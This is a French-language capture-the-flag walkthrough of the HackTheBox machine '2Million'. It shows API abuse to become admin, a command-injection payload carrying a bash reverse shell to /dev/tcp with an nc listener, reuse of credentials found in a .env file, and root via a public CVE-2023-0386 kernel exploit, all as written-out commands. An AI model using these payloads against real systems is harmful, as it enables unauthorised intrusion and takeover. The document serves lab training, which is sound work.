2Million - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.221 |
| OS | Linux (Ubuntu) |
| Difficulté | Easy/Medium |
| Points Clés | API Abuse, Command Injection, Kernel Exploit |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate=1000 -T4 10.10.11.221
nmap -sCV -p 22,80 10.10.11.221
Résultats : Ports ouverts 22 (SSH) et 80 (HTTP). Le serveur redirige vers 2million.htb.
Configuration DNS
echo "10.10.11.221 2million.htb" | sudo tee -a /etc/hosts
Phase 2 : Exploitation Web - Invite Code
L'application reproduit l'ancien front HTB avec les pages /login, /invite, /register.
Génération du Code d'Invitation
Le JavaScript /js/inviteapi.min.js expose les fonctions makeInviteCode() et verifyInviteCode().
Étape 1 : Récupérer le hint (ROT13)
curl -X POST http://2million.htb/api/v1/invite/how/to/generate -s | jq -r '.data.data' | tr 'a-zA-Z' 'n-za-mN-ZA-M'
# Résultat: "In order to generate the invite code, make a POST request to /api/v1/invite/generate"
Étape 2 : Générer l'invite (Base64)
curl -X POST http://2million.htb/api/v1/invite/generate -s | jq -r '.data.code' | base64 -d
# Résultat: Code d'invitation (ex: MIPSX-44EZG-USVU8-194UK)
Étape 3 : Inscription
Entrer le code sur /invite puis s'inscrire sur /register.
Phase 3 : Énumération Authentifiée
Découverte des Endpoints API
Après inscription/login, l'API expose plusieurs routes via /api/v1.
Endpoints admin recensés :
GET /api/v1/admin/authPOST /api/v1/admin/vpn/generatePUT /api/v1/admin/settings/update
Phase 4 : Élévation de Privilèges Admin
Exploitation de l'Endpoint Update
L'endpoint PUT /api/v1/admin/settings/update accepte un JSON permettant de s'auto-promouvoir en administrateur.
curl -s -X PUT "http://2million.htb/api/v1/admin/settings/update" \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=<votre_session>" \
-d '{"email":"[email protected]","is_admin":1}'
Phase 5 : Command Injection - Obtenir un Shell
Exploitation de la Génération VPN
Une fois admin, l'endpoint POST /api/v1/admin/vpn/generate est vulnérable à une injection de commande via le paramètre username.
Configuration du listener :
nc -lvnp 4444
Payload d'exploitation :
# POST /api/v1/admin/vpn/generate
# Body JSON: {"username":"victim; bash -i >& /dev/tcp/10.10.14.X/4444 0>&1 #"}
Amélioration du Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Puis: Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Phase 6 : Escalade vers l'Utilisateur Admin
Découverte des Credentials
Dans le webroot /var/www/html, le fichier .env contient les identifiants :
DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123
Connexion SSH
ssh [email protected]
# Mot de passe: SuperDuperPass123
ou
su - admin
# Mot de passe: SuperDuperPass123
🚩 Flag User
cat /home/admin/user.txt
🚩 Flag User: HTB{...}
Phase 7 : Escalade Root (CVE-2023-0386)
Identification de la Vulnérabilité
La machine utilise un noyau vulnérable à CVE-2023-0386 (OverlayFS / FUSE).
uname -a
# Exemple: 5.15.70-051570-generic
Exploitation
POC utilisé : https://github.com/xkaneiki/CVE-2023-0386
Étapes d'exploitation :
# Sur la machine locale: Télécharger et transférer le POC
wget https://github.com/xkaneiki/CVE-2023-0386/archive/refs/heads/main.zip
# Sur la machine cible: Après transfert
unzip CVE-2023-0386-main.zip
cd CVE-2023-0386-main
make all
./fuse ./ovlcap/lower ./gc &
./exp
# Si exploit réussi -> shell root
🚩 Flag Root
cat /root/root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Analyse et exploitation d'APIs REST
- Décodage ROT13 et Base64
- Command Injection
- Énumération post-exploitation
- Exploitation de vulnérabilités kernel (CVE-2023-0386)
Outils Utilisés
nmap- Reconnaissance réseaucurl+jq- Interaction avec l'APIburpsuite- Manipulation de requêtes HTTPnc- Reverse shellssh/sshpass- Connexion distante- POC CVE-2023-0386 - Exploit kernel
Remarques et Bonnes Pratiques
- Ces techniques doivent être utilisées uniquement sur des environnements autorisés (CTF/lab)
- Ne pas appliquer sur des systèmes en production sans autorisation explicite
- Adapter les adresses IP et les commandes selon votre environnement
Références
- POC CVE-2023-0386 : https://github.com/xkaneiki/CVE-2023-0386
- Article technique OverlayFS : https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/